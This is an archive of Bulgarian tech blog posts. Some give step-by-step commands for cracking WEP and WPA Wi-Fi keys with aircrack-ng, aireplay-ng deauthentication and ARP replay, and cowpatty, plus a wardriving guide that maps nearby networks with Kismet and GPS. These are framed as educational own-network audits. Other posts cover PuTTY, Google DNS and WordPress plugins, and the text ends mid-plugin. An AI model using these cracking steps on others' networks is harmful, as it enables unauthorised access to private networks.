Архив

Статии по ключова дума: ‘mpetrov’

Какво е Wardriving и как да го направим (Kismet + Festival + Gpsd + Gpsdrive)

4 февруари, 2010 1 коментар

При Wardriving идеята е да се засекат wireless мрежи и да бъдат картографирани. Според нашият закон или това което четох това не е нелегално(освен ако не се използват тези мрежи с лоши намерения). Все пак аз съм го направил с цел познание и идеята на тази публикация е да споделя знание.

Преди да започнем ще опиша какво ще ни трябва:
Устройства(Gps Reciever с bluetooth, bluetooth на самия лаптоп),
Приложения (gpsdrive,gpsd,bluez-utils,festival,mysql-server,kismet)

След като имаме устройствата ще инсталираме приложенията. Аз лично ползвам Holux 240 slim, но е доста бъгав. От време на време сам решава да се бъгне и да не показа кординатите, а двойчни глупости. За да го върнем в NMEA режим трябва да му извадим батерията с което се връща на първоначални настройки(голямо решение няма що. Има и друго ползвайте друг gps reciever).

Инсталиране на приложенията:
apt-get install gpsdrive gpsd festival mysql-server-5.0 kismet bluez-utils

Сега влючваме нашият GPS Reciever
Изпълняваме "hcitool scan" и виждаме:

Scanning …
00:0B:0D:6D:A1:E8   HOLUX GPSlim240

Ето го и търсеният от нас MAC адрес на Holux Slim 240

Редактираме конф. файлове от bluez-utils в /etc/bluetooth

/etc/bluetooth/hcid.conf

Променяме нашият пин ето тук(в случая е 0000):
passkey "0000"

Сега редактираме /etc/bluetooth/rfcomm.conf

rfcomm0 {
bind no;  # Automatically bind the device at startup
device 00:0B:0D:6D:A1:E8; # Bluetooth address of the device
channel 1; # RFCOMM channel for the connection
comment "My GPS device 00:0B:0D:6D:A1:E8"; # Description of the connection
}

Става ясно, че описваме mac адреса на нашият gps reciever

След това вдигаме нашият интерфейс:
hciconfig hci0 up

Свързваме се към нашето устройство Holux:
hcitool cc 00:0B:0D:6D:A1:E8

Отваряме канал
sdptool add --channel=1 OPUSH

и след това биндваме rfcomm0
rfcomm bind rfcomm0 00:0B:0D:6D:A1:E8

За да проверим, че получаваме данните коректно(данните са в текстов вид NMEA) изпълняваме това:
cat /dev/rfcomm0

Ако се вижда нещо от рода:
$GPGGA,235955.065,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*4D
$GPRMC,235955.065,V,0000.0000,N,00000.0000,E,,,150406,,,N*7E
$GPVTG,,T,,M,,N,,K,N*2C
$GPGGA,235956.059,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*41
$GPRMC,235956.059,V,0000.0000,N,00000.0000,E,,,150406,,,N*72
$GPVTG,,T,,M,,N,,K,N*2C
$GPGGA,235957.059,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*40
$GPGSA,A,1,,,,,,,,,,,,,,,*1E

То нашият GPS Reciever още не си е намерил сателитите и трябва да го изчакате известно време(на открито). След като си ги намери тези нули се превръщат в кординати разбира се.

Сега ще стартираме и gpsd които да обработва данните от rfcomm0

gpsd /dev/rfcomm0

Можем да проверим дали правилно приема данните със следната команда:

gpspipe -r

След като пуснахме основните приложения сега ще пуснем и Kismet. Неговата задача е да следи wireless мрежите и да ги записва във файл с техните кординати.

За да стартираме kismet като сървър трябва да укажем source type, а ако не го направим ще ни излезе следната грешка:

FATAL: Please configure at least one packet source.  Kismet will not function if no packet sources are defined in kismet.conf or on the command line.  Please read the README for more information about configuring Kismet

Това е защото не е зададен capture source type. За целта редактираме /etc/kismet/kismet.conf , ред "source":

source=iwl3945,wlan0,wlan0

Важен е първия аргумент където указваме какъв модул се зарежда за wireless картата, а в този случай е iwl3945

Сега ще накараме Kismet да логва всички wireless мрежи които намери + техните координати. За целта трябва да редактираме /etc/kismet/kismet.conf

waypoints=true
# GPSDrive waypoint file.  This WILL be truncated.
waypointdata=~/.gpsdrive/way.txt

Следващата стъпка е да накараме Kismet освен да логва и да говори.
Сега ще направим един малък тест на festival

echo "Hi from mpetrov.net -- Festival test"|festival --tts

Ако ви изплюе следната грешка "Linux: can't open /dev/dsp" то тогава извършете това по- долу:

Решение на проблема по- горе:

Редактира се файл (.festivalrc) или (/usr/share/festival/festival.scm):
vim ~/.festivalrc
и се добавя това:
(Parameter.set 'Audio_Method 'Audio_Command)
(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")

Сега след като имаме инсталиран и работещ festival ще направим промени в конфигурационния файл на kismet.
kismet.conf(за сървъра)

#Променя се от false на true
Speech=true
#Променя се от nato на speech
speech_type=speech

Ако не искаме да говори kismet сървъра, а нашият kismet клиент правим същите промени, но за "kismet_ui.conf"

Сега ще стартираме и gpsdrive. Неговата цел е да взима данните от Kismet ~/.gpsdrive/way.txt , да ги записва в MySQL базата(която ще създадем след малко) и да визуализира текущото ни местоположение на картата.

Първо трябва да създадем нашата база с таблиците които ще ползва gpsdrive изпълняваме:
geoinfo --create-db geoinfo --db-name geoinfo --db-user gast --db-password gast

Стартираме gpsdrive и какво ? Данните се записват и всичко е страхотно :)

Но на мен лично тази карта не ми допада особено и искам всичко това да го преместя в/у картата на GoogleEarth. За целта използвах едно готово python скриптче, което не работеше (нямаше и автор) и трябваше да пренапиша. Може да бъде изтеглено от тук: gpsdriveToGoogleEarth_mpetrov_net.py

изпълняваме python скриптчето което трябва да конвертира от gpsdrive към GoogleEarth:

python gpsdriveToGoogleEarth_mpetrov_net.py

Получавам следната грешка"
#:/tmp# python gpsdriveToGoogleEarth_mpetrov_net.py
Traceback (most recent call last):
File "gpsdriveToGoogleEarth_mpetrov_net.py", line 1, in <module>
import MySQLdb
ImportError: No module named MySQLdb

Това е защото очевидно нямам mysql модул за python. Сега ще го инсталирам:

apt-get install python-mysqldb

Сега като го изпълним и ще се генерира файл wireless_mpetrov_net.kml които ще вкараме в Google Earth, чрез импорт. Виждаме мрежите които сме картографирали по- рано.

В интерес на истината написах едно простичко bash скриптче което прави някои неща автоматизирано. То може да бъде изтеглено от тук:  War Driver 1.0

Потенциален проблем които може да възникне при употребата на Kismet
Проблем при стартиране на Kismet:

ERROR:  Unable to find room for logging files within 100 counts.  If you really are
logging this many times in 1 day, change log title or edit the source.
WARNING: Error disabling monitor mode: Failed to set channel 0 22:Invalid argument
WARNING: wlan0 (wlan0) left in an unknown state.  You may need to manually
restart or reconfigure it for normal operation.
WARNING: Sometimes cards don't always come out of monitor mode
cleanly.  If your card is not fully working, you may need to
restart or reconfigure it for normal operation.
Trying to wake networkmanager back up…
Kismet exiting.

Решението е :
rm -fr /var/log/kismet/*

Идеята на тази публикация е с учебна цел. Аз като автор не нося никаква отговорност за причинени от нея щети.

PS: Моля слагайте си WPA2 пароли с максимална дължина и сложност поне като минимално нещо което трябва да направите за свойте wireless мрежи.

Аудит на wpa парола, чрез aircrack и sqlite

4 февруари, 2010 2 коментари

Преди да компилираме aircrack с поддържка на sqlite трябва да го инсталираме както и неговия

development пакет:

apt-get install libsqlite3-dev sqlite3

Сега ще изтеглим aircrack и ще го компилираме със sqlite3 поддръжка:

cd /root/
mkdir testing;
cd testing;
mkdir aircrack_compile
cd aircrack_compile;

wget http://download.aircrack-ng.org/aircrack-ng-1.0.tar.gz
tar zxvf aircrack-ng-1.0.tar.gz
cd aircrack-ng-1.0

make sqlite=true unstable=true
make sqlite=true unstable=true install

Необходимо е да изпълним следната команда за да се изтегли OUI файла:

airodump-ng-oui-update

Излиза следното съобщение:

[*] Downloading IEEE OUI file…
[*] Parsing OUI file…
[*] Airodump-ng OUI file successfully updated

cd ..

Сега ще тестваме компилираният от нас aircrack като използваме wordlist без Sqlite:
Преди това може да видим каква е машината и забелязваме, че е двупроцесорна като всеки процесор е

3Ghz със 2 GB памет.

Сега ще тестваме с wordlist от 75000 ключа:

aircrack-ng -w /root/testing/wordlist.txt /root/testing/wireless_packets/wpa-01.cap

Забелязваме, че средно тества между 500-600 ключа за секунда

Което означава, че за да се тестват всичките ключове ще са необходими 75000/500=150 секунди=2.5 мин.

След като имам готов wordlist трябва да направя и ssidlist.txt където да опиша ssid-а на които ще

правим аудит:

vim ssidlist.txt

Сега ще подготвим нашата sqlite база за да тестваме aircrack със sqlite поддръжка.

След като вече компилирахме aircrack е необходимо да импортнем ssid-овете и списъка с пароли които

ще тестваме в sqlite базата mpetrov:

airolib-ng mpetrov1 --import essid /root/testing/ssidlist.txt
airolib-ng mpetrov1 --import passwd /root/testing/wordlist.txt
airolib-ng mpetrov1 --stats
airolib-ng mpetrov1 --clean all
airolib-ng mpetrov1 --batch (Изпълнението отнема доста време)
airolib-ng mpetrov1 --verify all

След като подготвихме базата ще направим тест на aircrack със sqlite

aircrack-ng –r mpetrov1 /root/testing/wireless_packets/wpa-01.cap

Опа. Забелязваме, че aircrack в комбинация със sqlite тества по 40 000 ключа за секунда или времето

което е необходимо за превъртането на този wordlist е по- малко от 2 секунди.

Разликата между нормален aircrack (2.5 мин.) и aircrack със sqlite поддържка (< 2 сек.) е повече от

ясна :)

Възможна грешка при компилирането на aircrack:

Грешка 1:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -I/usr/local/include -DHAVE_SQLITE

-Iinclude   -c -o aircrack-ng.o aircrack-ng.c
aircrack-ng.c:74:21: error: sqlite3.h: мЪЛЮ РЮЙЗБ ТЮИК ХКХ ДХПЕЙРНПХЪ
aircrack-ng.c:75: error: expected '=', ',', ';', 'asm' or '__attribute__' before '*' token
cc1: warnings being treated as errors
aircrack-ng.c: In function 'main':
aircrack-ng.c:4900: error: implicit declaration of function 'sqlite3_open'
aircrack-ng.c:4900: error: 'db' undeclared (first use in this function)
aircrack-ng.c:4900: error: (Each undeclared identifier is reported only once
aircrack-ng.c:4900: error: for each function it appears in.)
aircrack-ng.c:4901: error: implicit declaration of function 'sqlite3_errmsg'
aircrack-ng.c:4901: error: format '%s' expects type 'char *', but argument 3 has type 'int'
aircrack-ng.c:4902: error: implicit declaration of function 'sqlite3_close'
aircrack-ng.c:5561: error: implicit declaration of function 'sqlite3_mprintf'
aircrack-ng.c:5561: error: assignment makes pointer from integer without a cast
aircrack-ng.c:5563: error: implicit declaration of function 'sqlite3_exec'
aircrack-ng.c:5564: error: 'SQLITE_LOCKED' undeclared (first use in this function)
aircrack-ng.c:5564: error: 'SQLITE_BUSY' undeclared (first use in this function)
aircrack-ng.c:5570: error: 'SQLITE_OK' undeclared (first use in this function)
aircrack-ng.c:5570: error: 'SQLITE_ABORT' undeclared (first use in this function)
aircrack-ng.c:5572: error: implicit declaration of function 'sqlite3_free'
make[1]: *** [aircrack-ng.o] Error 1
make[1]: Leaving directory `/tmp/aircrack-ng-1.0/src'
make: *** [all] Error 2

Решение:
apt-get install libsqlite3-dev

Грешка 2:
In file included from aircrack-ng.c:65:
crypto.h:12:26: error: openssl/hmac.h: Няма такъв файл или директория
crypto.h:13:25: error: openssl/sha.h: Няма такъв файл или директория
crypto.h:15:25: error: openssl/rc4.h: Няма такъв файл или директория
crypto.h:16:25: error: openssl/aes.h: Няма такъв файл или директория
cc1: warnings being treated as errors
In file included from aircrack-ng.c:69:
sha1-sse2.h: In function ‘calc_4pmk’:
sha1-sse2.h:140: error: implicit declaration of function ‘HMAC’
sha1-sse2.h:140: error: implicit declaration of function ‘EVP_sha1’
aircrack-ng.c: In function ‘crack_wpa_thread’:
aircrack-ng.c:3910: error: implicit declaration of function ‘EVP_md5’
make[1]: *** [aircrack-ng.o] Error 1
make[1]: Leaving directory `/root/testing/aircrack_compile/aircrack-ng-1.0/src'
make: *** [all] Error 2

Решение: apt-get install libssl-dev

Според нашия Наказателен Кодекс манипулирането на wireless мрежи е незаконно:

Чл. 212а. (Нов -- ДВ, бр. 92 от 2002 г.) (1) (Изм. -- ДВ, бр. 38 от 2007 г.) Който с цел да набави за себе си или за другиго облага възбуди или поддържа заблуждение у някого, като внесе, измени, изтрие или заличи компютърни данни или използва чужд електронен подпис и с това причини на него или на другиго вреда, се наказва за компютърна измама с лишаване от свобода от една до шест години и глоба до шест хиляди лева.
(2) (Изм. -- ДВ, бр. 38 от 2007 г.) Същото наказание се налага и на този, който, без да има право, внесе, измени, изтрие или заличи компютърни данни, за да получи нещо, което не му се следва.

Вместо да правите такива гимнастики проосто си платете интернета и ще го имате винаги.

Аудит на wpa парола, чрез aircrack и sqlite(80 000 пъти по- бързо)

25 януари, 2010 15 коментари

Понеже доста съм писал по- долу ще обясня с едно изречение каква е идеята. Ако се ползва aircrack за нормален аудит (в моята машина дву процесорна на 2×3Ghz) ще тества по 500 ключа в секунда, а по- този метод по- долу aircrack + sqlite ще тества по 40 000 ключа в секунда.

Преди да компилираме aircrack с поддържка на sqlite трябва да го инсталираме както и неговия  development пакет:

apt-get install libsqlite3-dev sqlite3

Сега ще изтеглим aircrack и ще го компилираме със sqlite3 поддръжка:

cd /root/
mkdir testing;
cd testing;
mkdir aircrack_compile
cd aircrack_compile;

wget http://download.aircrack-ng.org/aircrack-ng-1.0.tar.gz
tar zxvf aircrack-ng-1.0.tar.gz
cd aircrack-ng-1.0

make sqlite=true unstable=true
make sqlite=true unstable=true install

Необходимо е да изпълним следната команда за да се изтегли OUI файла:

airodump-ng-oui-update

Излиза следното съобщение:

[*] Downloading IEEE OUI file…
[*] Parsing OUI file…
[*] Airodump-ng OUI file successfully updated

Сега ще тестваме компилираният от нас aircrack като използваме wordlist без Sqlite:

Преди това може да видим каква е машината и забелязваме, че е двупроцесорна като всеки процесор е 3Ghz със 2 GB памет.

Сега ще тестваме с wordlist от 75000 ключа:

aircrack-ng -w /root/testing/wordlist.txt /root/testing/wireless_packets/wpa-01.cap


Забелязваме, че средно тества между 500-600 ключа за секунда

Което означава, че за да се тестват всичките ключове ще са необходими 75000/500=150 секунди=2.5 мин.

След като имам готов wordlist трябва да направя и ssidlist.txt където да опиша ssid-а на които ще правим аудит:

vim ssidlist.txt

Сега ще подготвим нашата sqlite база за да тестваме aircrack със sqlite поддръжка.

След като вече компилирахме aircrack е необходимо да импортнем ssid-овете и списъка с пароли които ще тестваме в sqlite базата mpetrov:

airolib-ng mpetrov1 --import essid /root/testing/ssidlist.txt
airolib-ng mpetrov1 --import passwd /root/testing/wordlist.txt
airolib-ng mpetrov1 --stats
airolib-ng mpetrov1 --clean all
airolib-ng mpetrov1 --batch (Бъдете търпеливи :) )
airolib-ng mpetrov1 --verify all

След като подготвихме базата ще направим тест на aircrack със sqlite

aircrack-ng –r mpetrov1 /root/testing/wireless_packets/wpa-01.cap

Опа. Забелязваме, че aircrack в комбинация със sqlite тества по 40 000 ключа за секунда или времето което е необходимо за превъртането на този wordlist е по- малко от 2 секунди.

Разликата между нормален aircrack (2.5 мин.) и aircrack със sqlite поддържка (< 2 сек.) е повече от ясна :)

Идеята на тази публикация е да направите аудит НА СОБСТВЕНАТА СИ WIRELESS МРЕЖА, А НЕ ДА ЗЛОУПОТРЕБЯВАТЕ!

Логване в SSH сървър, чрез PuTTY

22 януари, 2010 Няма коментари

Здравейте отново от мен Мартин Петров. Тази видео демонстрация е създадена единствено и само с учебна цел.

Този тази видео демонстрация е част от публикацията "За какво да ползваме PuTTY"  в блога www.mpetrov.net

PuTTY е SSH клиент които се ползва най- много от Windows потребителите. Това видео всъщност е именно за тях. Сега ще демонстрирам как чрез PuTTY може да се логнете в отдалечена машина с пуснат SSH сървър в нашият случай GNU/Linux Debian с пуснат OpenSSH сървър.

Преди всичко трябва да изтеглим PuTTY. Просто пишем в google "PuTTY" и първият резултат ни дава линк от където да го изтег7лим. Аз съм го изтеглил предварително и за целта продължаваме напред към демонстрацията.

Стартираме Putty и в секция "Host name" въвеждаме хостнейм или IP адрес на машината в която искаме да се логнем. В нашият случай е IP адрес 10.10.10.1 . Портът които е сетнат в машината е 22( двадесет и втори) затова оставям този порт. В секция "Saved Sections" записваме името на профила и след това натискаме "Save". Така следващият път вместо да правим тези настройки просто два пъти ще натистнем с мишката върху този името на профила които преди малко написахме.

Може да гледате видео демонстрацията от Youtube: Логване в SSH сървър, чрез PuTTY
Демонстрация във vbox7: Логване в SSH сървър, чрез PuTTY

Разбиване на Wireless с WPA encoding

4 януари, 2010 82 коментари

Здравейте отново с мен Мартин Петров. Предния път ви демонстрирах как се разбива Wireless с WEP, а сега ще ви обясня как се разбива Wireless с WPA/PSK.

За целта ще използваме live дистрибуцията BackTrack 4 и приложенията в нея .

След като сме заредили нашият BackTrack ще отворим терминал за да подготвим нашият мрежови интерфейс за работа в режим мониторинг

# iwconfig wlan0 mode monitoring

След като настроихме мрежовият ни интерфейс сега ще сканираме за wireless мрежа която да компрометираме с учебна цел

# airodump-ng wlan0

Понеже търсим wireless със WPA кодиране,а тук виждаме такъв прекратяваме с Контрол и C. Wireless мрежата която ще използваме ще бъде "mpetrov_net" на шести канал.

След като избрахме коя мрежа да използваме и видяхме, че тя работи на шести канал е време да пуснем в Терминал 2 airodump за да събирем информация за съответната мрежа.

# airodump-ng -w wpa -c 6 --bssid 00:23:CD:D7:84:FC wlan0

Сега ще отворим Терминал 3 за да изпратим пакети за ре- оторизация. Ще трябва да използваме MAC адреса на клиента които можем да вземем от Терминал 1.

# aireplay-ng -0 1 -a 00:23:CD:D7:84:FC -c 00:1A:73:87:B4:E9 wlan0

След това ще погледнем Терминал 2 и ще видим горе в дясно WPA handshake: 00:23:CD:D7:84:FC с което приключваме събирането на пакети и пристъпваме към кракване на паролата.

За кракване на паролата ще използваме два метода единият е, чрез aircrack, а другият , чрез cowpatty

Първо ще реализираме кракване с aircrack

cd /pentest/wireless/aircrack-g/test
aircrack-ng -w password.lst /root/wpa-01.cap

Сега ще направим кракване с cowpatty:

cd /pentest/wireless/cowpatty
./cowpatty -r /root/wpa-01.cap -f dict -s mpetrov_net

И двата метода успяват да кракнат паролата и да я изведат.

Видео демонстрация от youtube.com: Разбиване на Wireless с WPA encoding (youtube)
Видео демонстрация от vbox7.com:
Разбиване на Wireless с WPA encoding (vbox7)
Надявам се, че този видео материал ще бъде използван и интерпретиран единствено с учебна цел.

До скоро от mpetrov.net

PS: Това е истината-> EPRB

Според нашия Наказателен Кодекс манипулирането на wireless мрежи е незаконно:

Чл. 212а. (Нов -- ДВ, бр. 92 от 2002 г.) (1) (Изм. -- ДВ, бр. 38 от 2007 г.) Който с цел да набави за себе си или за другиго облага възбуди или поддържа заблуждение у някого, като внесе, измени, изтрие или заличи компютърни данни или използва чужд електронен подпис и с това причини на него или на другиго вреда, се наказва за компютърна измама с лишаване от свобода от една до шест години и глоба до шест хиляди лева.
(2) (Изм. -- ДВ, бр. 38 от 2007 г.) Същото наказание се налага и на този, който, без да има право, внесе, измени, изтрие или заличи компютърни данни, за да получи нещо, което не му се следва.

Вместо да правите такива гимнастики проосто си платете интернета и ще го имате винаги.

Разбиване на Wireless с WEP encoding

3 януари, 2010 45 коментари

Тук ще демонстрирам как се декодира ключ от wireless мрежа с кодиране WEP. Правя този видео материал защото много отдавна очаквах някои да сподели тази демонстрация в нашето българско интернет пространство, но уви никои не го направи.

Тук ще опиша как можем да вземем ключа на wireless мрежа с WEP кодиране.

За целта ще използваме live дистрибуцията BackTrack 4 и приложенията в нея ifconfig,iwconfig,airodump, aireplay и aircrack.

След като сме заредили нашият BackTrack ще отворим терминал за да подготвим нашият мрежови интерфейс за работа в режим мониторинг

# iwconfig wlan0 mode monitoring;

След като настроихме мрежовият ни интерфейс сега ще сканираме за wireless мрежа която да компрометираме с учебна цел

# airodump-ng wlan0

Понеже търсим wireless със WEP кодиране,а тук виждаме такъв прекратяваме с Контрол и C. Wireless мрежата която ще използваме ще бъде "mpetrov_net" на шести канал.

След като избрахме коя мрежа да използваме и видяхме, че тя работи на шести канал е време да пуснем airodump за да събирем информация за съответната мрежа.

# airodump-ng -w wep -c 6 --bssid 00:23:CD:D7:84:FC wlan0 (postoqnno raboti)

Сега ще отворим още един терминал в които ще използваме ARP Reply attack за да увеличим броя на дейта пакетите и да вземем инициализиращите вектори или IV на избраният по- рано Access Point.

# aireplay-ng -3 -b 00:23:CD:D7:84:FC wlan0

Оставяме aireplay пуснат и наблюдаваме Терминал 1. За да имаме успеваемост на разбиване на ключа е необходимо да съберем над 20 000 дейта пакети, след което ще прекратим airodump-ng и aireplay-ng.

След като събрахме над 22 000 дейта пакети прекратяваме airodump с Контрол и C и aireplay с Контрол и C

Сега имаме всичко необходимо за да декодираме ключа на wireless мрежата "mpetrov_net" като използваме aircrack за целта.

aircrack-ng wep-03.cap

Тук виждаме, че ключът е 9781238761 и е кракнат със 100% успеваемост.

Надявам се, че този видео материал ще бъде използван и интерпретиран единствено с учебна цел.

Видео материал във vbox7.com: Разбиване на Wireless с encoding Wep
Видео материал във youtube.com: Разбиване на Wireless с encoding Wep

Според нашия Наказателен Кодекс манипулирането на wireless мрежи е незаконно:

Чл. 212а. (Нов -- ДВ, бр. 92 от 2002 г.) (1) (Изм. -- ДВ, бр. 38 от 2007 г.) Който с цел да набави за себе си или за другиго облага възбуди или поддържа заблуждение у някого, като внесе, измени, изтрие или заличи компютърни данни или използва чужд електронен подпис и с това причини на него или на другиго вреда, се наказва за компютърна измама с лишаване от свобода от една до шест години и глоба до шест хиляди лева.
(2) (Изм. -- ДВ, бр. 38 от 2007 г.) Същото наказание се налага и на този, който, без да има право, внесе, измени, изтрие или заличи компютърни данни, за да получи нещо, което не му се следва.

Вместо да правите такива гимнастики проосто си платете интернета и ще го имате винаги.

HEX цветове в HTML

12 декември, 2009 Няма коментари

Цветове и техните HEX стойности в HTML :) Както всяко нещо така и WEB се нуждае от своят цвят :) . Луд на шарено се радва- много луди на този свят :)

Флаш 1:

Флаш 2:

Google предоставя безплатни Public DNS

3 декември, 2009 Няма коментари

За всеки които до сега е ползвал easydns или не ползва dns-те на своя ISP, а желае да ползва тези на Google. Ето ги и тях

Публични DNS на Google:

8.8.8.8
8.8.4.4

Тестове с dig:

#:~$ dig @8.8.8.8 mpetrov.net

; <<>> DiG 9.3.4-P1.1 <<>> @8.8.8.8 mpetrov.net
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13173
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;mpetrov.net.                   IN      A

;; ANSWER SECTION:
mpetrov.net.            3595    IN      A       82.137.108.2

;; Query time: 50 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Thu Dec  3 23:20:13 2009
;; MSG SIZE  rcvd: 45

#:~$ dig @8.8.4.4 mpetrov.net
; <<>> DiG 9.3.4-P1.1 <<>> @8.8.4.4 mpetrov.net
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64874
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;mpetrov.net.                   IN      A

;; ANSWER SECTION:
mpetrov.net.            3578    IN      A       82.137.108.2

;; Query time: 51 msec
;; SERVER: 8.8.4.4#53(8.8.4.4)
;; WHEN: Thu Dec  3 23:20:31 2009
;; MSG SIZE  rcvd: 45

По- добра оптимизация на вашият Wordpress, чрез постоянни връзки

26 октомври, 2009 1 коментар

Постоянните връзки са част от повечето блог платформи. Те са постоянни URL адреси към всяка индивидуална публикация, категория или списък от всички публикации. За пример ще приложа постоянна връзка, чрез която ще изведа всички публикации от категория “Web”:

http://www.mpetrov.net/category/Web

В Wordpress може да се контролират постоянните връзки и от това да контролирате потенциалния ефект върху вашият сайт спрямо оптимизирането му за интернет търсачките. Ако не използвате постоянни връзки, подразбиращите се изглеждате по следния начин:

http://www.mpetrov.net/index.php?p=49

където стойността на аргумент “p” е 49 която е номера на публикацията.

За да използваме постоянните връзки първо трябва да влезе в секция „Постоянни връзки” или „Permalinks” в Wordpress: Натискате на бутон “Настройки” -> Постоянни връзки” или „Settings” -> “Permalinks” .

От там ще видите малка информация за постоянните връзки и общите настройки

Кратка информация за постоянните връзки:

По подразбиране WordPress използва адреси, които съдържат въпросителни знаци и много цифри в себе си. Затова може да създавате собствени формати на адресите на постоянните връзки към публикациите и архивите.Това може да подобри външния вид и използваемостта на връзките в блога. Имате на разположение няколко променливи (на английски език), а тук можете да получите малко обяснения и примери с които да започнете.

Ето ги и основните настройки:

По подразбиране: http://mpetrov.net/?p=123

Дата и име”: http://mpetrov.net/2009/10/26/sample-post/
Месец и име”: http://mpetrov.net/2009/10/sample-post/
По номер на публикацията”: http://mpetrov.net/archives/123

И най- отдолу в под секция „Основни настройки”, но не на последно място „Различна структура”. Тук може да добавят собствени настройки. Ще предложа едни от най- разпространените примери:
Извежда за адрес заглавието на публикация: /%postname%
Пример: http://mpetrov.net/upgrade-ot-debian-etch-do-debian-lenny

Тук извежда името на категорията + заглавието на публикацията: /%category%/%postname%
Пример: http://mpetrov.net/sadmin/upgrade-ot-debian-etch-do-debian-lenny

Най- долу в секция „Настройка на постоянните връзки” имате възможност да редактирате и префиксите на категориите и етикетите.

Ето я и предоставената информация включена в Wordpress която е напълно достатъчна за разбиране и използване:

Можете да въведете собствен префикс за адресите на категориите и етикетите. Например: topics ще промени връзките към категориите така: http://example.org/topics/име-на-категорията/. Ако оставите полето празно ще се ползват стойностите по подразбиране.

Създаване на Wordpress plugin

22 октомври, 2009 4 коментари

В тази публикация ще опишем с няколко стъпки как може да напишиете Wordpress plugin и Вие. Времето което е необходимо за прочитаме и усвояване на информацията е 15 минути.

Разширенията във Wordpress позволяват лесно редактиране и персонализиране на вашият Wordpress блог.  С разширенията на Wordpress може да добавите нови функции без да е необходимо препрограмирането из основи на Wordpress ядрото.

Преди да започнем с писането на Wordpress plugin "HelloWorld" е необходимо да имате основни познания по Wordpress Plugins :

1. Наименование на разширението

Първата задача преди да започнете да правите Wordpress разширение или plugin е да му дадете име и да проверите в хранилището ви (/wp-content/plugins/) с разширения дали има наличен Wordpress разширение с името което сте си избрали. Ако името на вашето разширение е уникално то тогава ви остава единствено да продължите напред :) .

2. Директория на разширенията в Wordpress
wordpress_plugin_directory1

В по- горния случай на изображението съответния плъгин се съхранява в директория, но това не е задължително. Ако конкретния плъгин се състои от единствен файл(както е нашият плъгин "HelloWorld") то е възможно да бъде поместен директно във /wp-content/plugins/helloworld.php

3. Основна информация за разширението

/*
Plugin Name: HelloWorld
Plugin URI: http://www.mpetrov.net/write_wordpress_plugin_from_scratch
Description: Your First Wordpress Plugin- Hello World
Author: Martin Petrov
Version: 0.75
Author URI: http://www.mpetrov.net/
*/

Сигурно забелязвате, че информацията се съхранява като коментар т.е. това не е php код за изпълнение, а просто за информация.

4. Лиценз  на разширението.

Повечето разширения са под лиценза GPL използван и от Wordpress или от лиценз съвместим с GPL. За да посочите GPL лиценза като такъв трябва да добавите следните редове по- долу:

<?php

/*  Copyright YEAR  PLUGIN_AUTHOR_NAME  (email : PLUGIN AUTHOR EMAIL)

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
?>

Преди версия 2.0 на Wordpress, тези допълнителни визуални плъгини трябваше на ръка да бъдат кодирани в темата и по този начин владееното на PHP беше задължително. Във версия 2.0 и всяка следваща версия е въведена опцията „Widgets" или "Джаджи" от където може да добавяте и премахвате разширения (plugins) като всяка операция може да се извърши с Drag and Drop.

Разширението кеото ще създадем ще можем да менажираме от "Widgets" или „Джаджи" и когато го активираме ще излиза в sidebar на нашата тема.

Хайде да започнем с писането на нашият първи plugin за Wordpress:

Първо трябва да създадем php файл които ще се казва: helloworld.php и ще го запишем в директория: /wp-content/plugins/ . В крайна сметка файла ще бъде ето тук: /wp-content/plugins/helloworld.php .  Може да използвате „vim","mcedit","nano","pico","vi" и какъвто редактор решите.

След като създадохме празния файл-plugin е необходимо да добавим общата информация за него. Ето каква ще бъде информацията:

<?php
/*
Plugin Name: HelloWorld
Plugin URI: http://www.mpetrov.net/write_wordpress_plugin_from_scratch
Description: Your First Wordpress Plugin- Hello World
Author: Martin Petrov
Version: 0.75
Author URI: http://www.mpetrov.net/
*/

?>

След това добавете основната функция HelloWorld() която ще извежда съобщението „Hello World. I'm your first Wordpress plugin":

<?php

function HelloWorld()
{
echo "<b><font color='white'>He</font><font color='green'>llo</font> <font color='red'>World</font>. I'm your first Wordpress plugin</b>";
}

?>

Тук очевидно става ясно, че тази функция единствено извежда текст.

Сега добавете по- интересните функции:

<?php

function widget_HelloWorld($args)
{
extract($args);
echo $before_widget;
echo "$before_title <font color='white'>Title</font> <font color='green'>of</font> <font color='red'>Widget</font> $after_title";
HelloWorld();
echo $after_widget;
}
function HelloWorld_init()
{
register_sidebar_widget("Hello World","widget_HelloWorld");
}
add_action("plugins_loaded", "HelloWorld_init");

Сега ще разгледаме функциите по отделно за да се изяснят действията които извършват. Първата функция widget_HelloWorld($args) е за това какво ще се показва в съответния sidebar (когато  плъгина е активиран в Widgets). Може би е добре да забележите , че първо извеждаме съобщение за заглавие и след това викаме функцията която по- рано написахме отново за извеждане на текст HelloWorld() .

Втората функция HelloWorld_init() се извиква когато Wordpress плъгина е активиран. Той извиква Wordpress функцията която ще регистрира новия Widget plugin които ще нарече „Hello World"

Последния ред от плъгина добавя екшън, чрез които се казва на Wordpress да извика HelloWorld_init() когато плъгина е зареден.

Това е кратко ръководоство което не може да покрие цялата информация относто създаването на Wordpress плъгини, но може да ви предостави основна информация. Надявам се, че информацията Ви е била полезна.

Приложение -- файл: helloworld.php:

<?php
/*
Plugin Name: HelloWorld
